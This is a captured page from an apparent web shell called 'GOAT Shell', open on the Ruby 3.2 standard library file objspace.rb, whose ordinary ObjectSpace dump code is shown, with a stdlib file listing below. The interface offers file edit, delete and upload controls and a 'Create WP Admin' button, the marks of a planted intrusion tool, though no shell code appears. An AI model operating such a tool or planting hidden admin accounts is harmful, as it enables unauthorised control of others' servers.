🐐 GOAT Shell
Current path:
opt
/
alt
/
ruby32
/
share
/
ruby
/
👤 Create WP Admin
⬆️
Go up: share
✏️ Editing: objspace.rb
# frozen_string_literal: true require 'objspace.so' module ObjectSpace class << self private :_dump private :_dump_all private :_dump_shapes end module_function # call-seq: # ObjectSpace.dump(obj[, output: :string]) -> "{ ... }" # ObjectSpace.dump(obj, output: :file) -> #<File:/tmp/rubyobj20131125-88733-1xkfmpv.json> # ObjectSpace.dump(obj, output: :stdout) -> nil # # Dump the contents of a ruby object as JSON. # # This method is only expected to work with C Ruby. # This is an experimental method and is subject to change. # In particular, the function signature and output format are # not guaranteed to be compatible in future versions of ruby. def dump(obj, output: :string) out = case output when :file, nil require 'tempfile' Tempfile.create(%w(rubyobj .json)) when :stdout STDOUT when :string +'' when IO output else raise ArgumentError, "wrong output option: #{output.inspect}" end ret = _dump(obj, out) return nil if output == :stdout ret end # call-seq: # ObjectSpace.dump_all([output: :file]) -> #<File:/tmp/rubyheap20131125-88469-laoj3v.json> # ObjectSpace.dump_all(output: :stdout) -> nil # ObjectSpace.dump_all(output: :string) -> "{...}\n{...}\n..." # ObjectSpace.dump_all(output: File.open('heap.json','w')) -> #<File:heap.json> # ObjectSpace.dump_all(output: :string, since: 42) -> "{...}\n{...}\n..." # # Dump the contents of the ruby heap as JSON. # # _full_ must be a boolean. If true all heap slots are dumped including the empty ones (T_NONE). # # _since_ must be a non-negative integer or +nil+. # # If _since_ is a positive integer, only objects of that generation and # newer generations are dumped. The current generation can be accessed using # GC::count. Objects that were allocated without object allocation tracing enabled # are ignored. See ::trace_object_allocations for more information and # examples. # # If _since_ is omitted or is +nil+, all objects are dumped. # # _shapes_ must be a boolean or a non-negative integer. # # If _shapes_ is a positive integer, only shapes newer than the provided # shape id are dumped. The current shape_id can be accessed using <tt>RubyVM.stat(:next_shape_id)</tt>. # # If _shapes_ is +false+, no shapes are dumped. # # To only dump objects allocated past a certain point you can combine _since_ and _shapes_: # ObjectSpace.trace_object_allocations # GC.start # gc_generation = GC.count # shape_generation = RubyVM.stat(:next_shape_id) # call_method_to_instrument # ObjectSpace.dump_all(since: gc_generation, shapes: shape_generation) # # This method is only expected to work with C Ruby. # This is an experimental method and is subject to change. # In particular, the function signature and output format are # not guaranteed to be compatible in future versions of ruby. def dump_all(output: :file, full: false, since: nil, shapes: true) out = case output when :file, nil require 'tempfile' Tempfile.create(%w(rubyheap .json)) when :stdout STDOUT when :string +'' when IO output else raise ArgumentError, "wrong output option: #{output.inspect}" end shapes = 0 if shapes == true ret = _dump_all(out, full, since, shapes) return nil if output == :stdout ret end # call-seq: # ObjectSpace.dump_shapes([output: :file]) -> #<File:/tmp/rubyshapes20131125-88469-laoj3v.json> # ObjectSpace.dump_shapes(output: :stdout) -> nil # ObjectSpace.dump_shapes(output: :string) -> "{...}\n{...}\n..." # ObjectSpace.dump_shapes(output: File.open('shapes.json','w')) -> #<File:shapes.json> # ObjectSpace.dump_all(output: :string, since: 42) -> "{...}\n{...}\n..." # # Dump the contents of the ruby shape tree as JSON. # # If _shapes_ is a positive integer, only shapes newer than the provided # shape id are dumped. The current shape_id can be accessed using <tt>RubyVM.stat(:next_shape_id)</tt>. # # This method is only expected to work with C Ruby. # This is an experimental method and is subject to change. # In particular, the function signature and output format are # not guaranteed to be compatible in future versions of ruby. def dump_shapes(output: :file, since: 0) out = case output when :file, nil require 'tempfile' Tempfile.create(%w(rubyshapes .json)) when :stdout STDOUT when :string +'' when IO output else raise ArgumentError, "wrong output option: #{output.inspect}" end ret = _dump_shapes(out, since) return nil if output == :stdout ret end end
Save
📁
benchmark
|
✏️ Rename
|
🗑️ Delete
📁
bigdecimal
|
✏️ Rename
|
🗑️ Delete
📁
cgi
|
✏️ Rename
|
🗑️ Delete
📁
csv
|
✏️ Rename
|
🗑️ Delete
📁
did_you_mean
|
✏️ Rename
|
🗑️ Delete
📁
digest
|
✏️ Rename
|
🗑️ Delete
📁
drb
|
✏️ Rename
|
🗑️ Delete
📁
erb
|
✏️ Rename
|
🗑️ Delete
📁
error_highlight
|
✏️ Rename
|
🗑️ Delete
📁
fiddle
|
✏️ Rename
|
🗑️ Delete
📁
forwardable
|
✏️ Rename
|
🗑️ Delete
📁
io
|
✏️ Rename
|
🗑️ Delete
📁
json
|
✏️ Rename
|
🗑️ Delete
📁
logger
|
✏️ Rename
|
🗑️ Delete
📁
net
|
✏️ Rename
|
🗑️ Delete
📁
objspace
|
✏️ Rename
|
🗑️ Delete
📁
open3
|
✏️ Rename
|
🗑️ Delete
📁
openssl
|
✏️ Rename
|
🗑️ Delete
📁
optparse
|
✏️ Rename
|
🗑️ Delete
📁
psych
|
✏️ Rename
|
🗑️ Delete
📁
racc
|
✏️ Rename
|
🗑️ Delete
📁
random
|
✏️ Rename
|
🗑️ Delete
📁
reline
|
✏️ Rename
|
🗑️ Delete
📁
rinda
|
✏️ Rename
|
🗑️ Delete
📁
ripper
|
✏️ Rename
|
🗑️ Delete
📁
ruby_vm
|
✏️ Rename
|
🗑️ Delete
📁
set
|
✏️ Rename
|
🗑️ Delete
📁
syntax_suggest
|
✏️ Rename
|
🗑️ Delete
📁
syslog
|
✏️ Rename
|
🗑️ Delete
📁
unicode_normalize
|
✏️ Rename
|
🗑️ Delete
📁
uri
|
✏️ Rename
|
🗑️ Delete
📁
vendor_ruby
|
✏️ Rename
|
🗑️ Delete
📁
yaml
|
✏️ Rename
|
🗑️ Delete
📄
abbrev.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
base64.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
benchmark.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
bigdecimal.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
cgi.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
coverage.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
csv.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
date.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
delegate.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
did_you_mean.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
digest.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
drb.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
English.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
erb.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
error_highlight.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
expect.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
fiddle.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
fileutils.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
find.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
forwardable.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
getoptlong.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ipaddr.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
json.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
kconv.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
logger.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
mkmf.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
monitor.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
mutex_m.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
objspace.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
observer.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
open-uri.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
open3.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
openssl.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
optionparser.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
optparse.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ostruct.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pathname.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pp.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
prettyprint.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pstore.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
psych.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
racc.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
readline.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
reline.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
resolv-replace.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
resolv.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ripper.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
securerandom.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
set.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
shellwords.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
singleton.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
socket.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
syntax_suggest.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tempfile.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
time.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
timeout.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tmpdir.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tsort.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
un.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
uri.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
weakref.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
yaml.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📤 Upload File
Upload
📁 Create Folder
Create Folder